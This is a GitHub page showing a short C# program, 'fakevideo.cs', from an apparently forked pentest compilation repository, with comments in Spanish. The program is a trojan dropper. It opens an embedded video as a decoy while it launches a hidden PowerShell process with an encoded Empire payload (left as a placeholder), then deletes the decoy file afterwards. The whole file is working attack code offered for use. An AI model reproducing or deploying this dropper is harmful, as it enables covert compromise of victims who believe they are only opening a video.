forked from s0lari/pentest_compilation
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfakevideo.cs
41 lines (36 loc) · 1.36 KB
/
fakevideo.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
using System;
using System.IO;
using System.Diagnostics;
namespace ConsoleApplication7
{
class Program
{
static void Main()
{
// Copiar el vídeo a un archivo temporal y abrirlo
byte[] archivo = Properties.Resources.videoplayback1;
string destino = Environment.ExpandEnvironmentVariables(@"%tmp%\video.mp4");
File.WriteAllBytes(destino, archivo);
Process procesoArchivo = Process.Start(destino);
// Ejecutar launcher
ProcessStartInfo launcherProcess = new ProcessStartInfo();
// C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
launcherProcess.FileName = Environment.ExpandEnvironmentVariables(@"%windir%\System32\WindowsPowerShell\v1.0\powershell.exe");
launcherProcess.Arguments = "powershell -noP -sta -w 1 -enc <Empire Payload>";
launcherProcess.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(launcherProcess);
// Esperar a que cierren el vídeo/imagen/pdf, lo que sea
procesoArchivo.WaitForExit();
// Eliminar nuestro vídeo
while (File.Exists(destino))
{
try
{
File.Delete(destino);
}
catch { }
}
}
}
}
// Credits to @3xploit